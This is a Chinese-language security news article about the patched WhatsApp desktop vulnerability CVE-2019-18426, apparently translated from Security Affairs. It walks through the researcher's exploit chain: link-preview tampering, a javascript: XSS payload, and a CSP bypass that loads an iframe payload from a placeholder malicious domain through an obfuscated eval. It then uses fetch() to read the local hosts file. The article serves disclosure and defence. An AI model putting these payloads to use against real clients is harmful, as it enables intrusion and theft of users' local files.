Facebook修复WhatsApp中可让黑客访问本地文件的漏洞

tianqi1  1751天前

22.jpg

Facebook最近刚解决了WhatsApp中的一个严重漏洞(被标记为CVE-2019-18426),它可让攻击者从macOS和Windows的本地文件系统中读取敏感文件。

根据Facebook发布的安全通告,WhatsApp桌面版与iPhone版WhatsApp中的漏洞涉及跨站脚本和本地文件读取。攻击者只需诱骗受害者点击一个特别制作的文本信息中的链接预览,即可发动攻击。

CVE-2019-18426影响了v0.3.9309之前版本的WhatsApp桌面版本,以及2.20.1.: 01-21-2020之前的iPhone版本WhatsApp。

该漏洞的CVSS 3.x评分为8.2,是由来自PerimeterX的Gal Weizman发现的。

Weizman首先发现WhatsApp的内容安全策略(CSP)存在缺陷,可导致桌面版应用中的XSS生效,随后通过进一步的研究,在Windows和macOS的WhatsApp桌面版应用获得了本地文件系统的读权限。

安全专家表示,为了保证你的电脑安全,请尽快升级到最新版的软件。

“我演示了如何使用fetch()这个API从本地文件系统读取文件,例如读取C:\Windows\System32\drivers\etc\hosts这个敏感文件。”

33.jpg

攻击步骤

1.和以前的一项研究有关。在网页版的WhatsApp中,研究者可以通过篡改代码改变对某条消息的回复,这主要和WhatsApp Web UI有关,效果如下:

44.jpg

2.消息渲染中利用@实现的危险重定向

当你发送消息https://facebook.com时,会看到:

55.jpg

通过篡改:

e.__x_body = e.__x_matchedText = "https://example.com";

可实现:

66.jpg

更进一步:

e.__x_body = e.__x_matchedText ="Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true&timestamp=42837643@bit.ly/2SfZikR Become a friend of mine!";

77.jpg

现在这个链接看起来是导向Facebook,但其实是我指定的网站。

3.利用javascript:实现XSS

通过摸索,通过篡改代码:

e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)';

实现了XSS攻击!

88.jpg

但是由于WhatsApp的某些机制,利用还有些问题,我必须创建一个长度较短的payload,从外部加载其他payload。

4.绕过WhatsApp的CSP规则

Google的CSP评估程序会立刻告诉你这个网站的CSP配置:

99.jpg

你可以看到最底下的object-src [missing],这意味着我可以使用object从任意源加载一个iframe

于是我可以利用javascript:实现注入:

var payload = `
  hard_expire_time.innerHTML +=
  '<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_iframe.html" />';
  onmessage=(e)=>{eval(JSON.parse(e.data))};
`;
payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
e.__x_body = e.__x_matchedText = payload;

其中https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_iframe.html的内容为:

<html>
  <head></head>
  <body>
    <script>
      top.postMessage(
      JSON.stringify(
      "open('https://facebook.com');
        alert('external payload');"
      ),
      "*");
    </script>
  </body>
</html>

使用XSS加载iframe,监听不同窗口发布的消息。然后使用iframe将带有外部代码的消息发布到顶部窗口,此时XSS将被执行,从iframe接收消息,在web.whatsapp.com中解析并执行payload。

5.读取文件

通过利用fetch()这个API,可以实现本地文件读取,相关代码如下(配合XSS):

alert(navigator.userAgent);
(async function(){
    // read "file:///C:/Windows/System32/drivers/etc/hosts" content
    const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
    const t = await r.text();
    alert(t)
}())

作者还表示可能存在RCE,但还未发现。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://securityaffairs.co/wordpress/97331/hacking/whatsapp-bug-fixed.html

最新评论

昵称
邮箱
提交评论